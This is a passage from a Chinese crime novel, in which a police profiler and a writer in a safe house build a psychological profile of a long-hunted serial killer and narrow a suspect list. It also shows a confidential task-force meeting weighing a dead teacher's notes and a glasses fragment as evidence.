“他擅长伪装,而组建家庭对他来说也是伪装的必要部分。在识别犯罪分子这一点上,单身男性受怀疑的可能性非常高,可结婚有家庭的男性被怀疑的程度则会减弱,这是社会共识的惯性。”秦梓需解释道。 这个说法没能说服章弥真,她道:“可结婚就会使得他暴露的风险显著增高啊,他要搞那么多犯罪的事,万一一个不小心没有瞒过他老婆孩子,岂不是就暴露了吗?” 秦梓需道:“他到底能不能瞒过妻子、孩子,和他的工作性质有关。也许他的工作就是经常要出差,一出去就好些天,甚至很难和家里联系。他的工作性质决定了即便他结婚有孩子,也不妨碍他在外犯罪。他能很好地平衡好这两者之间的关系,让家庭与犯罪完全隔绝,彼此无法接触。 “我推测,他在外面有一个私人的犯罪据点,这个据点在哪儿只有他自己知道。他的所有犯罪工具乃至于猎杀战利品,都有可能在其中陈列。他在其中制毒、利用黑客技术获取情报、乃至于练习体能等等。” “好家伙,个人犯罪工作室是吧。”章弥真戏谑地冷笑一声,“但我还是觉得,你的推测缺乏论据支撑啊。” 电视上的记者正在工地的地面上打鸡蛋,以此验证工地的高温。屋内的柜式空调呼呼地吹,章弥真冷得抱起了膀子。 秦梓需盯着眼前木质茶几上的黑斑,道:“我从调查爆燃案开始,就一直在揣摩他的心理画像。这么多年了,我虽然仍然不能说完全看清了这个人,但他性格中八成以上的特质我敢说都已经被我看透。 “首先,这个人极其冷血,是绝对的利己主义者。他希望所有人、所有事都能如己所愿,如若无法达成,他会立刻抛弃道德和法律的禁锢,去强行实现。如果到最后仍然无法达成,则不惜采取毁灭逆他想法之人的极端方式来报复,并平复自己扭曲畸形的内心。 “就好像一个有洁癖的人,容不得自己身边存在任何脏污一样,洁癖之人不会选择调整自己的心理,而一定抹去那碍眼的脏污。” 说到这里,她似乎是下意识地用手指去擦了擦那个茶几上的黑斑,没能擦掉,她的表情有些难受。 她挪开视线,看向电视屏幕,一边摩挲着自己的手指,一边道:“这样一个人,表现在外在,一定是个完美主义者。他可以不是世俗意义上有权有钱之人,但他一定从事一份体面的职业,有不错的收入,有妻有儿,是世俗意义上生活无忧圆满的人。且他个人看上去干净整洁,外貌颇有吸引力,谈吐也文雅,让人感觉很体面。 “当然有妻有儿这件事,我是从他抱孩子的手法上看出来的。虽然只有短短的一段路,但他在客运站抱孩子的手法很娴熟,看上去确实是一个养过孩子的人。他能用短短几句话准确把控住一个单身妈妈的心理,说明他本身对女性、尤其是为母的女性有深度接触和了解。 “他对外一直保持着一个好好先生的完美形象,他掌控欲极强,会让他周边的一切按照他规定好的秩序运行,而他则是中心那个太阳。他耗费十八年建立起这样一个华丽而虚伪的形象,且对自己的能力有着病态的自信。你知道,太阳是不会抛下太阳系自己跑掉的,他怎么会轻易放下这一切,而逃命去呢?” 章弥真知道秦梓需为了查这个凶手,已经熬了十八年了。也知道她比任何人都了解这个凶手。可她这一番分析,还是精准、细腻到让她鸡皮疙瘩直起。 她拿起空调遥控器,看了一下设定温度26℃。可她怎么感觉寒毛直竖呢,是空调制冷太好了,还是她单纯听秦梓需的分析听得寒意陡生呢? 她有些迟疑地道:“老秦,你这是不是有点太代入了。” “不代入不行啊,我就是研究犯罪嫌疑人心理画像的。”秦梓需淡淡一笑。 “可我感觉,你是不是和他之间,产生了某种微妙的共振?你俩好像确实有些相似之处。”章弥真说出了自己的心里话。她觉得秦梓需有时候确实也挺偏执的,再加上有洁癖,和凶手之间确实很像。 “哼……”秦梓需冷哼了一声,“我和你也有相似之处,但更多的是不同。你放心,我不至于研究他研究到失心疯了。” 说到这里,她起身离开了客厅,去了她自己的房间收拾行李。 章弥真感觉她好像生气了,她有些后悔自己不该说她跟凶手相似的。可她又有些抹不开面子,最后到底是不提了。 此后二人各自洗漱入睡,一夜无话。翌日早上,二人刚起床没多久,房门口就被敲响了。秦梓需透过猫眼看了一下,发现是李之枚,她手里还提着好几大袋东西。 秦梓需连忙开门把她让进来,李之枚笑道; “来,吃早饭啦,也不知道你们爱吃什么,给你们带了面包和包子,还有豆浆、煎饼、茶叶蛋。我还给你们买了点菜,买了几个馒头,还有一些方便面。你们有需要就自己做点东西吃。” “天哪枚姐!您这也太客气了。”章弥真从卫生间探出身子来,她正在洗脸,满脸洗面奶,头上还戴着发箍。 “放心,我肯定要找市局报销的,哈哈哈哈。”李之枚笑了,说着换了拖鞋进来,“也就这么一两天,等你们俩拿到手机,我可不给你们管饭了。” 她将早餐放到餐桌上,秦梓需围过来,帮着把早餐都取出来。李之枚笑着问她: “怎么样,这房子还住得惯吧?” “挺好。”秦梓需道。 章弥真拍着爽肤水走出来,道:“好是挺好,可我啥时候能搬回自己家啊?不会要等到抓到凶手吧?” “那可不?”李之枚好笑地望着她。 章弥真看向秦梓需,拍了拍她的肩膀:“你赶紧的抓人。” 秦梓需苦笑了一下,拿了个煎饼吃,她剥开塑料袋,问道:“今天市局什么安排?我和弥真现在都没手机了,跟瞎子聋子似的。” “领导早上给我电话了,今天你们先不急着去市局,先在安全屋里面候着。等手机查完了,会派人给你们送过来,到时候再说接下来的事。”李之枚道。 “啊?那今天咱俩就闲着了?”章弥真手里捻着一个包子,苦着一张脸,她这人根本闲不下来,尤其是不能和外界断联,她还很惦记自己的本职工作。 “闲着不好吗?你们在云南查案那么辛苦,回来正好歇个一天。”李之枚道。 “行,我们知道了。”秦梓需道,“枚姐,你们查杨莲的遗骨,还有什么新发现吗?” “所有的发现都跟你说了,现在验尸已经结束了,验尸报告也已经呈交给上级了。”李之枚道。 “那关于那个被杨莲吞入腹内的金属片,您有什么看法?”秦梓需追问。 “那东西作为证物的价值不高,我们已经穷尽了所有手段去提取上面的生物痕迹,但除了半枚不完整的指纹和一些不含细胞核的皮脂之外,没能提取出更多。但我感觉那金属片可能只是某个物件上的一部分,上面有明显的熔点痕迹,也许我们有必要找到金属片的另外一部分,才能获得更多的信息。”李之枚道。 “雪莹说那东西应该是个鼻托,可能是被用来作为□□的垫片。你是说要找到眼镜?这可能吗?”秦梓需蹙眉问。 “这我就不知道了。”李之枚耸肩,“单纯从技术层面来说,金属片作为定罪物证肯定不够,必须找到更多证据。” “唉……好吧。”秦梓需叹息。 “那你俩慢慢吃,午饭就先对付一下,我估计下午就有人给你们送手机了。我得去上班了,不然可得迟到。”李之枚起身往门口走。 秦梓需、章弥真一起到门口送她,李之枚换鞋时,章弥真有些嗫嚅着开口道: “那个……枚姐,能拜托您一个事吗?” “怎么了?” 章弥真恳求道:“我想把宠物医院那两只小猫接到这里来养,可以麻烦您跑一趟吗?” 李之枚想也没想就否决了:“这不行,那家宠物医院和你家,当前都在凶手的监视风险下,难保我去接猫不会进入凶手视野,若是凶手跟着追踪到这里来,那可怎么办?” “诶……好吧。”章弥真只能无奈地接受现实。 “你要是实在担心,要不你就加那个宠物医生的微信,让她每天给你发发猫猫的视频啥的。说实在的寄养在那里挺好的,人家是专业的,而且也很有耐心,我给你看的视频就是她拍给我的。”李之枚劝道,说着就从包里取出速记本,撕下一页,就着手机把那个宠物医生的微信抄给了章弥真。 章弥真道了声谢,接过了那张纸。 “那我走了哈,真得走了。”李之枚嘟囔着,急匆匆出了门。 屋里顿时就剩下了秦梓需和章弥真,秦梓需有些好奇地问章弥真: “你这么想养那两只小猫?也不急在这一时半刻吧。” 章弥真反驳道:“什么一时半刻,我看要抓凶手,恐怕遥遥无期了。我把猫寄养在人家那里,一周两周也就算了,总不能三五个月,一年半载都不去领养吧。而且万一有人去医院把那两只小猫领走了该怎么办?那两只小猫说到底不是我买的,也不是我捡的,是平白无故被送给我的,我也是一天没养过,我要是长期不去领养回来,那就不是我的猫了。” 她有气无力地坐回餐桌边继续吃早饭。 “你还是没回答我的问题,为什么这么想养那两只小猫?你心里不膈应吗?”秦梓需凑到她跟前,问。 “小猫有什么错,我是觉得即便这是凶手的阴谋,那两只小猫到了我的家门口,那就是和我有缘了。我章弥真得罩着它们,让它们幸福地过完整个猫生。讲白了,我就是第一眼就喜欢上了,没什么特别的理由。 “我这人你到现在还不了解吗?我想做的事,一定会竭尽全力做成,我不想做的事,谁也强迫不了我。凶手想让我害怕,我偏不!不仅如此,我还把他用来恐吓我的小猫开开心心养起来了。”章弥真咬了口包子,说话的口气像是哪个江湖大佬。 “哈哈!好好好,不愧是你。”秦梓需被逗笑了。 章弥真一边吃包子,一边拿起那张纸瞧,上面写着微信名:V-爱人如爱猫,跟着一串微信号。 V?什么意思,V字仇杀队吗?爱人如爱猫?这名字有点意思啊,章弥真心想。 第56章 第五十六章 现代人一旦离了电子产品,还真就是坐立难安,穷极无聊了。章弥真本想着继续写自己的书,可现在没有电子产品,甚至没有纸笔,她除了打腹稿,就干脆躺地上做起瑜伽来了。 秦梓需则翻箱倒柜,在这个家里找纸笔。找了半天愣是只找到了一根记号笔,还没水了。无奈之下,她实在坐不住了,干脆带钥匙出门去。 “诶,你干嘛去啊?”章弥真喊她。 “找小姑娘借个纸笔来。”秦梓需说着就出了门。 她所谓的“小姑娘”就是李之枚放暑假在家的高中生女儿。她举步来到3幢302门口,敲响了房门。 不多时电子门锁里传来年轻女孩的询问声音,显得很警惕: “你是谁?” “我是你妈妈的同事,我姓秦,我就住在8幢201。我想来借个纸笔,可以吗?”秦梓需柔声道。 “哦,你等一下。” 秦梓需等了约莫2分钟,门开了,女孩探出身子来,递给秦梓需几张横条纹的作文稿纸,还有两根签字笔,问道: “够吗?秦老师?” “够了,绰绰有余,谢谢你。”秦梓需笑着接过了稿纸。她端详了一下小姑娘,瘦瘦高高一女孩,剪着齐肩短发,穿着T恤、短裤,看上去像是专门换了衣服才开门出来的。 小姑娘眉眼间有李之枚的影子,但下半张面孔似乎是像她爸爸更多,整体上眉清目秀,很漂亮。 “你怎么知道我是老师?”秦梓需好奇问。 “我妈提过您很多回了。”小姑娘有些腼腆道,眼神中闪烁着崇拜的光芒,“她说您是公安部的专家老师,是神探。” “是吗?”秦梓需有些意外,随即谦虚道,“不是什么神探,就是个普通的公安大学老师。” “我也想考公安大学的。”女孩突然道。 “是吗?你爸爸妈妈知道吗?”秦梓需有些意外。 女孩道:“知道啊,他们都挺鼓励我的。但我说我想当刑警,我爸就不乐意了,他觉得刑警不好干,太苦了。” “那你妈妈什么意见?”秦梓需问。 “我妈没说啥,她说先考上再说。”女孩嘿嘿一笑。 看来这母女俩比父女俩有默契,秦梓需暗道。 “你叫什么名字?在哪儿上学?”秦梓需问。 “我叫郭雅洁,师范附中高二7班的。”女孩大大方方回道。 “好,郭雅洁同学,祝你学业进步,早日考上公安大学,我在那里等你。”说着秦梓需伸出手来,和女孩握了握。小女孩开心地笑起来,送秦梓需下楼,一直挥手到秦梓需走远才返回家去。 秦梓需有些感慨,蓦然想起自己的父母,一时又有些心酸。想自己考公安大学,走到如今这一步,可没有父母的支持。这么多年披荆斩棘,一个人摸索前行,不知道撞了多少南墙、吃了多少苦,若不是有师傅领路,也压根走不到这一步。 到如今终于如愿担起侦查爆燃案、抛颅案的重责,已经到了人生最关键也是最艰苦的时候。 她人生中的黄金十八年全都扑在了调查这起案子上,此役不成功便成仁,绝对不可以失败。她捏紧了手里的稿纸和笔,眸光越发坚定,脚步加快,飞速赶回了8幢201. “来,给你,闲得无聊,可以为你的书打打提纲草稿什么的。”秦梓需一进门,就先分给章弥真几张纸、一支笔。 “嘿,小姑娘真大方。”章弥真笑着坐到了桌边,拿起了笔。 “小姑娘叫郭雅洁,她说要考公安大学当刑警呢。”秦梓需忍不住要让章弥真也认识一下这个小姑娘。 “不愧是公安家庭的孩子。”章弥真看着手里的稿纸,咦了一声,道,“这不是师范附中的稿纸吗?” “是,这孩子现在在师范附中读高二。”秦梓需道。 “优秀啊……”章弥真感叹了一声,“说起来,那个邵彦华也是师范附中的吧。” “对,我正准备重新理一理名单。”秦梓需拿了一张稿纸,开始在上面写写画画,“你之前排查出五个人:李威、王志刚、张建民、魏嘉康、沈赓。筛查条件是这五个人都是胥中毕业,高中是在鸿鹄教育附近的六中、二十四中和胥高上的,初三体检时身高都在175之上。他们因为大学入学时间都在抛颅案前,而被排除嫌疑,对吧。” “嗯,对。”章弥真点头。 “我们现在改变一下筛查条件,那就是把身高条件放宽到170以上,高中也不要限定在鸿鹄教育附近。因为那个水泥斜坡上留下的脚印,有可能是凶手故意穿大鞋子伪造的。而他也不一定非要居住在鸿鹄教育附近,有可能是专程从更远的地方跑到鸿鹄教育来上课的。” 秦梓需一边说,一边从自己的包里取出一个文件夹,将之前章弥真打印出来的排查名单放到了桌面上,一共五页纸,上面都是密密麻麻的人名,纸页都被秦梓需翻得卷边了。 “可这样还怎么筛,人太多了!”章弥真很困惑。 “你先帮我找一下,按照当前改过的筛查条件,邵彦华在不在里面?” 章弥真急忙拽过名单,飞速浏览过去,很快就给出了肯定的答复:“还真是在这个筛检条件里。可我不明白,你看,他家住在尚春坊巷106号,他上的是师范附中,这两个地方都在城南,而鸿鹄教育在城东北,这都南辕北辙了,当年胥城的地铁都还没开通,除了打车就只能坐公交,这两个地方一趟就是四十分钟往上。我觉得你这个筛查条件,并不足以锁定在他身上。” “别忘了,他是最接近那对母女描述出的画像的人物,这一点加权很重。”秦梓需道。 此时她搁笔,将写好的纸推到章弥真跟前。章弥真看到这张纸画了一个人物关系图,中央的人物是魏嘉康。 魏嘉康名字的右上角拉出一条线,圈了一个人名——邵彦华。此两人的连接线中央写“疑似霸凌控制”,线段靠近邵彦华的位置打了个箭头,指向邵彦华。 魏嘉康下方拉出一条线,用方框框了一个公司名——华新高科。并有一段补充内容:“软件工程师,父医生,母是医药代表,家境殷实,班里核心人物。” 魏嘉康的左侧拉出一条线,圆圈圈了一个人名——沈赓。沈赓的下方拉了一个方框,写了“服役2年,继承家里纺织厂,叔叔是医生。” 最后,从魏嘉康这里还拉出一条线,端头打了个圈,里面是个问号。 “这什么意思?”章弥真不解。 “我要查魏嘉康的关系网,此人是当年4班的核心人物,他身边聚集了一个小团体,邵彦华是他的跟班之一。这个沈赓初中时是1班的,看上去和魏嘉康不熟,但他却和魏嘉康同时上了鸿鹄教育,我不信这两人之间没有关系。 “沈赓家里是开纺织厂的,他当过兵,叔叔还是医生,有可能接触到乙/醚。凶手所具备的几个特质,他身上都有。当然他的相貌已经被排除了。 “而魏嘉康是富二代,还是软件工程师,我猜他应该是最早的那一批有家庭电脑、能够上网的人。且他家里也有医药背景,有可能接触到乙/醚。同样,他的相貌也被排除了。 “我现在怀疑的是,凶手是不是从别人身上吸取和学习到了一些特长,利用交际圈来扩大自己能够接触到的资源,来帮助自己犯罪?不论是魏嘉康还是沈赓,可能都有意无意的和凶手接触过,被凶手利用了。” 章弥真想了想,道:“所以这个问号,就是指的凶手?” “对。”秦梓需点头。 “你的意思是,凶手确实根本不在我们之前设定的排查范围内,他有可能是因为受到魏嘉康控制,又或者他为了主动接触魏嘉康,而特意跑得很远,专门去鸿鹄教育上课,走这个途径来接触魏嘉康?” “对,就是这个意思。”秦梓需再点头。 “我懂了,所以你要查魏嘉康、沈赓的关系网,那这个邵彦华呢,该怎么查?”章弥真问。 “就从魏嘉康着手,顺藤摸瓜。邵彦华断得再干净,也不能说彻底就从人们的记忆里被抹除了吧。国内总有人记得他的,只要从他高中时期开始查,一定能搞清楚他后来的踪迹。”秦梓需道。 章弥真用签字笔的笔盖敲击着桌面,问道: “你怀疑邵彦华就是凶手吗?或者,魏嘉康、沈赓有可能是他的帮凶?” “邵彦华确实有较大嫌疑,但魏嘉康、沈赓是帮凶的可能性不高,最重要的一点是如果他们都是帮凶,为什么杨莲会一点都不曾在调查笔记中留下记录?要知道犯罪团伙人越多,暴露的可能性越高。杨莲都查到那个份上了,丝毫没有察觉,不合理。 “我还是倾向于这应该是独狼犯下的系列杀人案,一直都是同一个凶手作案。虽然采取的是不同的杀人手法,但凶手的行事作风一直都很统一,他极度聪明狡猾,有极强的反侦察能力,能够很细心、耐心地追索和湮灭自己犯罪的证据。依据我对凶手做出的心理画像,他只相信他自己,不会把身家性命交到别人的手里。”秦梓需分析道。 章弥真道:“既然如此,我觉得我们有必要仔细查一下邵彦华出国的具体时间,如果是在抛颅案前他就出国了,此后又没有入境记录,他怎么能犯下抛颅案呢?不就没有嫌疑了吗?” “是,总之,这就是我们目前最重要的调查方向了。”秦梓需道。 章弥真扶额,头疼至极:“我感觉咱又要开始费力不讨好了,就连我这个外行人都知道跨国查案那是最难办的。本来李芝华死在韩国就够让人头疼了,现在居然还要查一个跑到美国去的邵彦华,哎哟……” “别还没开始查你就诶哟啊!”秦梓需笑着吐槽道,“大不了就当出去玩儿了嘛,放松一下。” “放松个鬼啊,我跟着你去一趟云南,在昆明城里逛逛,你都那副状态……”章弥真瞪大眼睛回击道。 “那我保证下次不会这样了,一定陪你玩个尽兴。”秦梓需双手合十求饶,笑嘻嘻承诺道。 “哼,我信你个鬼。”章弥真没好气地乜她一眼。 这一日,一直到傍晚五点半,房门才被敲响,小宋亲自把秦梓需、章弥真的电子产品一股脑打包送过来了。同时,还给二人传了个口信: “你俩的设备都没啥大问题,我们给安装了安全盾,不影响使用。还有,明早8点半,市局开专案会,机密级别的,千万别迟到哦。” 第57章 第五十七章 章弥真终于拿到了自己的设备,然而一开机,就开始被各种消息狂轰滥炸,多数都是她的同事们发来的,也有来自她母亲的消息。 章弥真开始焦头烂额的回复消息,她先给母亲回了个消息,告诉母亲自己这段时间一直在外出差,让母亲不要去自己的房子。 然后她开始处理自己的本职工作。 另一头的秦梓需消息倒是不算多,主要是云南那边,邹天给他发了个消息,说王永荷经过治疗,状态有所好转,可现在整个人呆呆的,依旧没有能力回答问题。 自从她不接父母亲的电话,父母亲也就再也没有给她打过电话。秦梓需仍然没有打算联系他们,她的这口气一直憋着,必须要破案后才能释放。 她查看完消息,便开始准备明早的会议了。 一夜无话,翌日早上,二人准时赴会。机密闭门会议,参加的只有未挂牌的专案组成员们,参会时,所有人手机全部关闭,且会场安置了信号屏蔽器。 刘明城、谢云卿作为专案组的直接领导,听取了主侦秦梓需关于云南方面案情的全面汇报,各方面细节秦梓需都详细提到了,末了将自己目前的侦查想法做了汇报。 “……所以我认为,当前最有必要的是重新排查当年的学生名单,尤其是围绕着鸿鹄教育这个中心点,改换思路去推理凶手最有可能的身份。” 秦梓需说到这里,刘明城出声道:“秦老师,你们在云南的这些天,我们也没闲着。我们都知道杨莲当年独自调查了爆燃案,她获得了比我们还要丰富的线索,并且找到了凶手,以至于凶手感觉到了巨大的威胁,将她杀死。 “她作为一个普通的语文老师,竟然都有这个能力,她到底是怎么查的?我本来一筹莫展,但因为你们终于找到了她的调查笔记,我和谢支仔细研究了这个笔记本,并重走了一遍杨莲的调查之路。” 秦梓需、章弥真精神为之一振,立刻凝神静听。 刘明城道:“我们觉得,杨莲可能在爆燃案发生后没多久,就是她第一次到胥中得知陈君梅死讯的那一次,就去过爆燃案现场。 “调查笔记的第一页,记录的时间是2005年的2月21日,那时杨莲已经辞职开始独立调查。她最先拜访的是她大学时期的老同学,一个在胥城教育局做事的公务员。托这个关系,从体检的医院那里手抄了一份胥中初三年级男生的体检报告,主要抄的是身高和近视程度这两项。 “我们去找了这个教育局公务员,他现在都退休了,不过对杨莲当年去找他还是有印象,杨莲对他用的借口是她现在正转向社会学研究,尤其是想要研究青少年健康状况,所以想要获得一些研究数据,于是这位公务员就帮了这个忙,压根没一点怀疑。 “拿到体检数据后,杨莲的目标就直接锁定在了鸿鹄教育,说明她的目标很清晰,她从一开始就不知道从哪儿获知了凶手有可能出没于鸿鹄教育的消息,甚至知道凶手大概的外貌特征。比如是否戴眼镜、身材身高几何。我们推测可能是陈君梅在给她的书信中,向她大致描述过凶手的样貌。由于我们看不到陈君梅给她的书信,所以无法完全确认。 “她第一次去鸿鹄教育,没有进去,而是在马路对面蹲守的,她可能也是怕打草惊蛇。结果是没有任何收获,后面她连续蹲守了三天,而且将鸿鹄教育附近的地形摸了个底掉儿,但似乎都没有见到心目中的可疑人物。 “接下来她去找了消防队,就是爆燃案接处警的那支消防队,找人家询问火灾处理的后续流程问题,试图从当年灭火和调查现场的消防员嘴里获得一些线索,但依旧无果。 “她又找了346厂厂办的负责人,询问厂子几个进出口的出入情况,问得很细,甚至还去认识了一下几个看门的门房。她还想办法从346厂那里拿到了门面房的平面图,这不容易,她除了一片赤诚之心啥也没有,硬是上门磨了2周才拿到了平面图。她造访过的这些人,我们也想办法找到并联系上了,大多数人都对杨莲有印象,印证了她笔记的真实性。 “后面的笔记里,她一直在研究那个平面图,上面写写画画,太杂乱、太抽象了,我跟谢支看得眼睛都花了,熬了两个大夜研究这个图上的笔迹,愣是看不明白她到底是怎么想的。 “但杨莲好像通过这幅图想明白了什么,她就在这之后锁定到了凶手的身份。调查笔记在这幅图之后,就只剩下最后那一页,杨莲说她已经制定好了计划,准备开始执行。她没有在笔记里写明到底是个什么样的计划,但现在我们都知道了,她很可能是打算亲身去劝凶手自首,她心里应该也很清楚,不成功便成仁,至于是否有后手计划,笔记后面没有提及,只剩下那句警告的话。 “但显然,她的后手计划是打算以自己的牺牲制造更多的杀人证据,来让凶手定罪。” 一边说着,刘明城就点了一下鼠标,将杨莲笔记上的那幅图投在了大屏幕上,让与会所有人都能清晰看到。 但众人看到的是一片花花绿绿的乱麻一样缠绕在一起的线,只能勉强辨认出平面图最初的横平竖直的边框黑线,然后就是毫无章法的蓝线、红线、铅笔线,三种线交织在一起,再加上没有任何文字注明,只是在图上不同的边角位置上,用不同颜色的笔写了一些意味不明的数字,诸如“3.32、5.29、8.56”,根本不知道是什么意思。 “你们谁能看明白这个图的,立一等功哈。”刘明城半开玩笑地说道。 众人你看看我,我看看你,一筹莫展。秦梓需其实从拿到笔记的第一时间就注意到这个图了,她本来是打算好好研究一下的,奈何在云南的插曲太多,使得她的精力根本投不到这上面来。 这会儿她盯着这幅图陷入了沉思。 而章弥真已经晕晕乎乎了,她不禁吐槽,杨莲真的是有个让人心焦的坏毛病——话从不说清楚说完整,总是要让人猜。 刘明城沉默地等了几分钟,见无人有头绪,他看向秦梓需问道: “秦老师,你有什么想法?” “杨莲是在推测凶手当晚进出可能的路线图吧。门卫的位置,你们看,所有的线都绕开了围墙,从门走,这是在推演凶手的入侵路线。” 谢云卿道:“是,这个我们也大致看明白了,可我们不明白的是她到底推出来什么了?为什么仅从这一幅图就能推出凶手的身份?这中间到底什么东西是我们还没有掌握的,或者被我们忽视掉了?” 刘明城补充道:“而且我与谢支亲自走访了当年346厂的老工人和门房,我们得到的情况是346厂夜间门卫看守不严,至少11点前,几个门都能自由进出。11点门房落锁,第二天早上6点门就开了。而且346厂的围墙也不高,要翻墙出入,困难并不大,尤其是对十来岁的毛头小伙子来说很容易。所以画这个路线图的意义何在呢?” 秦梓需沉吟了片刻,转开话题道: “这个问题缺乏论证依据,咱们先搁置。我来谈一个关键问题,现在咱们能够达成共识的是杨莲在爆燃案发生不久就去过爆燃案现场。 “而我认为,她可能还捡到了某个关键证物。甚至她还打听到了一些风言风语,以至于能给她有一个清晰的引导调查的方向。这些线索随着时间的流逝早已消失了,现在的我们是没办法完全重走她的老路的,只能从她遗留的物件里,窥测她到底是怎么调查的。 “我推测,她捡到的可能是一副眼镜,或者说眼镜的残损部分。现在这副眼镜的鼻托部分在我们手里,这个鼻托被杨莲用蜡封好,临死前吞入腹内。而也许这个鼻托不是全部,还有另外更多的眼镜残损部分在她的手上。 “之所以有此推测,是因为杨莲应该清楚光有这个鼻托依旧不能锁定凶手。她可能是怕自己死后被凶手剖腹切胃,吞下去的东西会暴露,所以出于谨慎,只是将鼻托作为一个索引,来指引警方的调查方向。而且她也不可能吞下更大的东西了。 “现在我们能够确认的是,杨莲的证物盒曾在李芝华手里保存了很多年。我们不能确认这个证物盒内所有的证物与杨莲当年放入其中的所有证物完全吻合。也许,李芝华动过里面的东西,将最关键的证物,也就是推测中的那个眼镜残片取走了。 “这个东西才是最要命的东西,是能够第一时间锁定到凶手的生物物证。凶手至今仍然在寻找这个东西,就说明当年李芝华虽然遇害,凶手却也没能从她那里获得他想要的东西。当然,取走证物的也可能是老校长,但我倾向于是李芝华,因为老校长似乎没有理由非要将关键物证与证物盒分开来存放。 “既然如此,查李芝华就成了非常必要的事。所以我认为,现在就向部里申请去韩国重新调查李芝华案很有必要。” 刘明城沉吟片刻,道:“我会试着和部里申请。但跨国调查没那么容易,你得做好心理准备,我们得看韩方的脸色。” 谢云卿则疑惑问道:“我不明白,如果依照你的推测,李芝华当年又为什么非要将那个关键证物单独取出来呢?” 秦梓需要摇头:“我现在无法解答这个问题,但我认为她既然这么做了,一定很有必要。也许是因为她察觉到了凶手追过来了,她感受到了性命威胁,于是将证物寄回国内,当一个诱饵,试图诱凶手回国去追证物盒。自己单独保留关键证物。但没想到,她自己还是遇害了。” 这话一出,会议室里顿时一冷,中央空调的冷气在头顶直直灌下,众人仿佛看到了一个小姑娘人生最后那段时光的惊恐与挣扎。 “如果真是这样,那顿火锅就很可疑了,在那种紧张状态下的李芝华,真的还会有心思去煮小火锅吃吗?真不知道当年韩国方面到底是怎么调查的。”谢云卿感叹道。 刘明城一副欲言又止的模样,看来他对韩国警方也有点看法,只是不好说出来。 会议进入尾声,敲定了接下来的任务,一是破解杨莲的那幅路线图;二是从魏嘉康、邵彦华入手,重新查一遍当年的初三毕业生,尤其是着重查鸿鹄教育到底还有没有遗漏。 同时,在查这两个方向的案件的过程中向公安部申请跨国侦查,且是同时涉及韩国、美国,获批可能需要一段时间。 会议结束,秦梓需、章弥真被谢云卿单独叫去她办公室谈话。谢云卿给她们倒了水,道: “我们跑了一趟蚌埠,寻访了好几个当年徽财大的老人,这些人还记得陈君梅一家人。基本可以确定,当年杨莲确实在陈君梅家寄宿过。当时赶上恢复高考,大街小巷,但凡人来人往的地方都有补习班招揽学生。杨莲就是那会儿被招进补习班,跟着陈老教授学习的。 “她当时身无分文,陈老教授看她可怜,就介绍她先到徽财大做工,主要是扫院子、做清洁工作。她就住在陈老教授的宿舍楼下的仓库里,住了大概一年多的时间。这一段时间陈君梅和杨莲关系变得特别好,陈君梅还是杨莲的小老师,帮她补课,陈君梅时常在仓库里一待就是一个晚上,很晚才回去睡觉。” 看来一切不出所料,秦梓需刚要开口说话,谢云卿却突然道: “我们还听到了一个传闻,陈君梅当年相亲结婚,其实非常抗拒,和父母吵了很久。邻居曾经听到其父骂陈君梅,说她走了邪路,会身败名裂,还说决不允许她跟一个女人跑了。后来陈老教授被气病了,陈君梅也屈服了,最终还是相亲结婚了。 “可以推测陈、杨的关系确实早就超出友情了。因为只是风闻推测,这个事儿本身也不是关键,不影响案件侦办,我就私下里和你们说一下,不在侦查会上说了,这毕竟是当事人的隐私。” “谢谢您。”秦梓需由衷道。 “谢什么?应该的。”谢云卿笑着摆了摆手。 第58章 第五十八章 开完会,秦梓需和章弥真去了市局的临时办公室,她们打算先把魏嘉康的背景调查完善一下,然后再着手去细查。 查到这一步,早已经是打草惊蛇了。凶手现在的状态无非是已经潜逃和仍在国内的两种情况。前者且不论,若是后者,则如今专案组也已经在逼近凶手的交际圈了。 由于事先对信息传递可能出问题没有防备,专案组没想到凶手竟然能黑入公安系统获知情报,以至于前期行动就已然走漏了风声。不过福祸相依,虽然惊动了凶手,但凶手也慌得开始自乱阵脚,露出了不少破绽。 现在秦梓需就是在赌自己对凶手的画像是正确的:他是一个已经成家立业、娶妻生子的体面男人,他的所有根基都在国内,他不会轻易潜逃出国。所以一旦开查,在高压环境中,他必定会有所挣扎而不会无动于衷。 秦梓需期盼的就是这个家伙试图反击,这会让她抓到更多的把柄。但她心知此人智商极高,他可能会用更为隐蔽、迂回的方式与警方周旋,但不论怎么样,他最终的目的都是要让调查陷入停滞,让警方无法查到他的真实身份,也无法掌握有力证据。 他一定明白潜逃出国虽然会在一定程度上阻碍追捕,但并非一劳永逸之举。想想看,一个在国内本来过得光鲜亮丽的正常公民,突然间放下国内的一切玩人间蒸发,这本身就是会引起怀疑的事,早晚都会引起警方注意。一旦警方开启跨国追逃,他也将永无宁日。 所以他的当务之急一是稳住基本盘,二则是制造迷/雾弹让警方堕入其中,失去方向。而他自己则要尽力避免再落下任何把柄于警方手中。 针对这一预判,秦梓需要拉网,则要做到更为隐蔽、迅速,犹如围棋之中的逼死,快速吃掉凶手的所有倚仗,将其逼入退无可退的绝境。 拉网的事,刘明城、谢云卿已经在做了,凶手的画像已经与海关、边检共享,并纳入面部识别系统。且一些基本信息——诸如年龄33岁,身高180以上,出生地胥城等进一步筛查的信息也都已共享。凶手一旦试图过关,扫脸时相似度匹配到70%以上就会被拦截进行调查。 秦梓需查到了魏嘉康当前公司的地址,家庭住址,包括其父母的家庭住址。还有其父母亲的职业情况。她考虑了一会儿,就有了想法。 刚准备喊章弥真出发,却发现章弥真正盯着手机傻笑。 “你笑啥呢?”秦梓需挑眉。 “猫猫,太可爱了,你看!”章弥真把手机屏幕亮给秦梓需,秦梓需看到了两只小狸花正在软垫子上贴肚爬行,圆滚滚毛茸茸的,确实很可爱。 她笑了:“你这是和那位兽医加上微信了?” “对啊,我昨晚拿到手机后加的嘛,她很快就通过了。我让她多给我发发猫猫的视频,千万别把猫猫送给别人了,她都答应了。”章弥真收回手机,解释道。 “收收心,要干活了。把活干好了,你就能回家养猫去了。”秦梓需起身,背起包。 章弥真连忙跟上。 二人坐进秦梓需的车,章弥真问: “现在咱们去哪儿?” “去市中心医院。”秦梓需系好安全带,发动了车子。 “为啥去那儿?”章弥真不解。 秦梓需一边开车,一边解释道:“我之前应该和你提过,我之前独自复盘过杨莲遇害前,从鸿鹄教育出来后可能走过的路。 “我推测她很可能在市中心医院的急诊大楼一楼大厅过了一夜,清早出去后,就遭遇了凶手,随即跟随凶手乘坐公交车去了天平山,接着遇害。 